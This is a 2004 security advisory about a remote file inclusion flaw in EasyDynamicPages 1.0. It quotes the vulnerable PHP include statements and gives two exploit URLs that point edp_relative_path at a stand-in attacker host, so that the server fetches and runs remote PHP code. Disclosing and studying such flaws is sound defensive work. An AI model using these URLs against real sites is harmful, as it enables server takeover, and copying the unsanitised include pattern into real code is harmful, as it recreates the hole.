[UNIX] EasyDynamicPages File Inclusion Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 01/05/04

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Date: 5 Jan 2004 11:48:10 +0200

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      EasyDynamicPages File Inclusion Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://software.stoitsov.com/> EasyDynamicPages is "a Web Portal System,
    news system, personal, or business site or what you need". A vulnerability
    in the product allows remote attackers to cause the PHP files used by the
    product to insert arbitrary external PHP files and execute the content
    provided in them.

    DETAILS

    Vulnerable systems:
     * EasyDynamicPages version 1.0

    Vulnerable code:
    The code found in the file /admin/config.php:
    include_once $edp_relative_path."admin/serverdata.php";

    Which can be exploited by sending the following URL:
    http://victim/admin/config.php/edp_relative_path=http://attacker/

    Which in turn will request from the server the following file:
    http://attacker/admin/serverdata.php

    The code found in the file /dynamicpages/fast/config_page.php:
    $ResultHtml="";
    if ($do=="add_page") {
    switch($du) {
    case "site": include_once $edp_relative_path."admin/site_settings.php";
    break;
    case "dpage": include_once $edp_relative_path."admin/dpage_settings.php";
    break;

    Which can be exploited by sending the following URL:
    http://victim/dynamicpages/fast/config_page.php?do=add_page&du=site&edp_relative_path=http://attacker/

    Which in turn will request from the server the following file:
    http://attacker/admin/site_settings.php

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:security@security.com.vn>
    Vietnamese Security Group.

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